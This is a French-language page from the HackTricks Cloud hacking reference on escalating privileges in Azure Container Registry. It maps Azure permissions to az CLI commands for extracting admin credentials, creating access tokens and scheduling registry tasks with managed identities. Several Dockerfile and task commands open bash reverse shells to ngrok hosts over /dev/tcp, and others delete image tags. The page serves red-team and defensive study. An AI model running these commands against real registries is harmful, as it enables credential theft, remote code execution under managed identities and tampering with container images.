Az - Azure Container Registry Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Azure Container Registry
Pour plus dâinformations, consultez :
Microsoft.ContainerRegistry/registries/listCredentials/action
Cette permission permet Ă lâutilisateur de lister les identifiants dâadministration de lâACR. Cela est utile pour obtenir un accĂšs complet au registre.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
Dans le cas oĂč les identifiants administratifs ne sont pas activĂ©s, vous aurez Ă©galement besoin de la permission Microsoft.ContainerRegistry/registries/write pour les activer avec :
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action
Ces permissions permettent Ă lâutilisateur de crĂ©er un nouveau token avec des mots de passe pour accĂ©der au registre.
Pour utiliser az cli pour le gĂ©nĂ©rer comme dans lâexemple suivant, vous aurez Ă©galement besoin des permissions Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Ces permissions permettent Ă lâutilisateur de construire et exĂ©cuter une image dans le registre. Cela peut ĂȘtre utilisĂ© pour exĂ©cuter du code dans le conteneur.
Warning
Cependant, lâimage sera exĂ©cutĂ©e dans un environnement isolĂ© et sans accĂšs au service de mĂ©tadonnĂ©es. Cela signifie que le conteneur nâaura pas accĂšs aux mĂ©tadonnĂ©es de lâinstance, donc cela nâest pas vraiment utile pour Ă©lever les privilĂšges.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
Câest la principale autorisation qui permet de crĂ©er et de mettre Ă jour une tĂąche dans le registre. Cela peut ĂȘtre utilisĂ© pour exĂ©cuter un code Ă lâintĂ©rieur dâun conteneur avec une identitĂ© gĂ©rĂ©e attachĂ©e Ă celui-ci dans le conteneur.
Voici un exemple de la façon dâexĂ©cuter un reverse shell dans un conteneur avec lâidentitĂ© gĂ©rĂ©e par le systĂšme attachĂ©e Ă celui-ci :
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Une autre façon dâobtenir un RCE Ă partir dâune tĂąche sans utiliser un dĂ©pĂŽt externe est dâutiliser la commande az acr task create avec le drapeau --cmd. Cela vous permettra dâexĂ©cuter une commande dans le conteneur. Par exemple, vous pouvez exĂ©cuter un shell inversĂ© avec la commande suivante :
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
Tip
Notez que pour attribuer lâidentitĂ© gĂ©rĂ©e par le systĂšme, vous nâavez besoin dâaucune autorisation spĂ©ciale, bien quâelle doive avoir Ă©tĂ© activĂ©e au prĂ©alable dans le registre et avoir reçu certaines autorisations pour ĂȘtre utile.
Pour attribuer une identitĂ© gĂ©rĂ©e par lâutilisateur Ă©galement, vous auriez besoin de lâautorisation Microsoft.ManagedIdentity/userAssignedIdentities/assign/action pour faire :
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Pour mettre Ă jour le dĂ©pĂŽt dâune tĂąche existante, vous pouvez faire :
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
Avec cette autorisation, il est possible dâimporter une image dans le registre azure, mĂȘme sans avoir lâimage localement. Cependant, notez que vous ne pouvez pas importer une image avec un tag qui existe dĂ©jĂ dans le registre.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Pour dĂ©marquer ou supprimer un tag dâimage spĂ©cifique du registre, vous pouvez utiliser la commande suivante. Cependant, notez que vous aurez besoin dâun utilisateur ou dâun jeton avec suffisamment de permissions pour le faire :
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

